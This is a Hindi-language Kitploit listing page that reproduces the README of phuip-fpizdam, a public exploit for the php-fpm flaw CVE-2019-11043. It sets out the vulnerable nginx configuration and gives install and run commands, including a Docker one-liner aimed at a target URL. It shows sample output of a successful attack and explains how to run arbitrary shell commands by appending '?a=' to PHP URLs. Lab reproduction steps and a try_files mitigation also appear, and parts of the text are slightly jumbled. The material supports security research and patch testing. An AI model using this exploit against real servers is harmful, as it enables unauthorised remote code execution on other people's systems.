Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
phuip-fpizdam — CVE-2019-11043 के लिए एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/neex/phuip-fpizdam
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubneex/phuip-fpizdam

phuip-fpizdam

CVE-2019-11043 के लिए एक्सप्लॉइट

रिपॉजिटरी देखें
1.8k2496 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PHuiP-FPizdaM

यह क्या है

यह php-fpm (CVE-2019-11043) में एक बग का शोषण है। कुछ nginx + php-fpm कॉन्फ़िगरेशन में, यह बग बाहर से ट्रिगर करना संभव है। इसका मतलब है कि यदि आपके पास कमजोर कॉन्फ़िगरेशन है (नीचे पूर्व शर्तों की पूरी सूची देखें), तो एक वेब उपयोगकर्ता कोड निष्पादन प्राप्त कर सकता है।

व्याख्या

जबकि हम व्याख्या लिखने में बहुत आलसी थे, ऑरेंज त्साई ने अपने ब्लॉग में एक उत्तम विश्लेषण प्रकाशित किया। उन्हें सलाम।

इसके अलावा, ZeroNights 2019 से मेरी स्लाइड्स उपलब्ध हैं।

क्या कमजोर है

यदि कोई वेबसर्वर nginx + php-fpm चलाता है और nginx में निम्नलिखित कॉन्फ़िगरेशन है

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

जिसमें किसी भी स्क्रिप्ट अस्तित्व की जाँच (try_files जैसी) का अभाव है, तो आप संभवतः इस शोषण से इसे हैक कर सकते हैं।

पूर्व शर्तों की पूरी सूची

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) को php-fpm पर अग्रेषित किया जाना चाहिए (शायद regexp सख्त हो सकता है, #1 देखें)।
  2. fastcgi_param PATH_INFO $fastcgi_path_info; कथन के माध्यम से PATH_INFO चर असाइनमेंट होना चाहिए। साथ ही SCRIPT_FILENAME को fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; का उपयोग करके सेट किया जाना चाहिए ($document_root के बजाय एक स्थिर पथ हो सकता है)। पहले हमने सोचा था कि ये हमेशा fastcgi_params फ़ाइल में मौजूद होते हैं, लेकिन यह सच नहीं है।
  3. PATH_INFO को खाली मान पर सेट करने का एक तरीका होना चाहिए। यह शोषण मानता है कि fastcgi_split_path_info निर्देश वहाँ है और इसमें ^ से शुरू और $ पर समाप्त होने वाला एक regexp है, इसलिए यह एक न्यूलाइन वर्ण के साथ regexp को तोड़ने का प्रयास करता है।
  4. यह विशेष शोषण मानता है कि कॉन्फ़िगरेशन में के बाद सेट किया गया है।

क्या यह वर्षों से कमजोर नहीं माना जाता?

बहुत समय पहले php-fpm स्क्रिप्ट के एक्सटेंशन को प्रतिबंधित नहीं करता था, जिसका अर्थ है कि /avatar.png/some-fake-shit.php जैसा कुछ avatar.png को PHP स्क्रिप्ट के रूप में निष्पादित कर सकता था। यह समस्या लगभग 2010 में ठीक कर दी गई थी।

वर्तमान समस्या में फ़ाइल अपलोड की आवश्यकता नहीं है, सबसे हाल के संस्करणों में काम करता है (जब तक फिक्स नहीं आता), और सबसे महत्वपूर्ण बात, शोषण बहुत अच्छा है।

कैसे चलाएं

इसे इस प्रकार स्थापित करें:

root@kitploit:~
go get github.com/neex/phuip-fpizdam

यदि आपको अजीब संकलन त्रुटियाँ मिलती हैं, तो सुनिश्चित करें कि आप go >= 1.13 का उपयोग कर रहे हैं। प्रोग्राम को phuip-fpizdam [url] का उपयोग करके चलाएं (मान लें कि आपके पास $GOPATH/bin आपके $PATH में है, अन्यथा बाइनरी का पूरा पथ निर्दिष्ट करें)। अच्छा आउटपुट इस तरह दिखता है:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

इसके बाद, आप सभी PHP स्क्रिप्ट्स में ?a=<your command> जोड़ना शुरू कर सकते हैं (आपको कई प्रयासों की आवश्यकता हो सकती है)।

वैकल्पिक रूप से, आप शोषण चलाने के लिए डॉकर इमेज का उपयोग कर सकते हैं:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

खेलने के वातावरण

Docker का उपयोग करके

यदि आप समस्या को पुन: उत्पन्न करना चाहते हैं या स्थानीय रूप से Docker के माध्यम से शोषण के साथ खेलना चाहते हैं, तो निम्न कार्य करें:

  1. इस रेपो को क्लोन करें और reproducer निर्देशिका पर जाएं।
  2. docker build -t reproduce-cve-2019-11043 . का उपयोग करके डॉकर इमेज बनाएं। इसमें लंबा समय लगता है क्योंकि यह आंतरिक रूप से php रिपॉजिटरी को क्लोन करता है और स्रोत से इसे बनाता है। हालाँकि, यदि आप शोषण को डीबग करना चाहते हैं तो यह तरीका आसान होगा। निर्मित संशोधन फिक्स से ठीक पहले का है।
  3. docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 का उपयोग करके डॉकर चलाएं।
  4. अब आपके पास http://127.0.0.1:8080/script.php है, जो एक खाली फ़ाइल है।
  5. phuip-fpizdam http://127.0.0.1:8080/script.php का उपयोग करके शोषण चलाएं।
  6. यदि सब कुछ ठीक है, तो आप स्क्रिप्ट में ?a= जोड़कर कमांड निष्पादित करने में सक्षम होंगे: http://127.0.0.1:8080/script.php?a=id. कई बार प्रयास करें क्योंकि केवल कुछ php-fpm वर्कर संक्रमित होते हैं।

LXD सिस्टम कंटेनर का उपयोग करके

यदि आप समस्या को पुन: उत्पन्न करना चाहते हैं या स्थानीय रूप से LXD के माध्यम से शोषण के साथ खेलना चाहते हैं, तो निम्न कार्य करें:

  1. दो सिस्टम कंटेनर बनाएं, vulnerable और attacker। आप दोनों कंटेनरों के लिए ubuntu:18.04 कंटेनर इमेज का उपयोग कर सकते हैं।
  2. vulnerable कंटेनर में, nginx और php-fpm स्थापित करें। सर्वर ब्लॉक को इस कॉन्फ़िगरेशन के रूप में कॉन्फ़िगर करें। एक खाली फ़ाइल /var/www/html/index.php बनाएं।
  3. attacker कंटेनर में, Go भाषा स्थापित करें (sudo snap install go --classic), इस रिपॉजिटरी को क्लोन करें, और रिपॉजिटरी की निर्देशिका में go build चलाएं।
  4. हमले को इस प्रकार चलाएं: ./phuip-fpizdam http://vulnerable.lxd/index.php। सभी php-fpm वर्करों को संक्रमित करने के लिए कई प्रकार के प्रयास करें।

अधिक विस्तृत निर्देशों के लिए, LXD सिस्टम कंटेनरों के साथ CVE-2019-11043 (php-fpm सुरक्षा भेद्यता) का परीक्षण देखें।

PHP5 के बारे में

php-fpm में बफर अंडरफ्लो PHP संस्करण 5 में मौजूद है। हालाँकि, यह शोषण FastCGI चरों को संग्रहीत करने के लिए उपयोग किए जाने वाले एक ऑप्टिमाइज़ेशन, _fcgi_data_seg का उपयोग करता है। यह ऑप्टिमाइज़ेशन केवल php 7 में मौजूद है, इसलिए यह विशेष शोषण केवल php 7 के लिए काम करता है। हो सकता है कि कोई अन्य शोषण तकनीक हो जो php 5 में काम करती हो।

श्रेय

मूल विसंगति d90pwn द्वारा Real World CTF के दौरान खोजी गई। मूल कारण मेरे (एमिल लर्नर) द्वारा पाया गया, साथ ही php.ini विकल्प सेट करने का तरीका भी। अंतिम php.ini विकल्प सेट beched द्वारा पाया गया।

लाइसेंस

यह शोषण MIT लाइसेंस की शर्तों के तहत वितरित किया जाता है।

इस शोषण से कोई नुकसान न करने से बचें। लेकिन यदि आप वास्तव में इस चीज़ से कुछ हैक करते हैं, तो मुझे खुशी होगी।

टूल डाउनलोड करें
PATH_INFO
REQUEST_URI
  • कोई फ़ाइल अस्तित्व जाँच नहीं होनी चाहिए जैसे try_files $uri =404 या if (-f $uri)। यदि Nginx FastCGI अग्रेषण से पहले गैर-मौजूद स्क्रिप्ट के अनुरोधों को गिरा देता है, तो हमारे अनुरोध कभी php-fpm तक नहीं पहुँचते। इसे जोड़ना पैच करने का सबसे आसान तरीका भी है।
  • यह शोषण केवल PHP 7+ के लिए काम करता है, लेकिन बग स्वयं पुराने संस्करणों में मौजूद है (नीचे PHP5 के बारे में देखें)।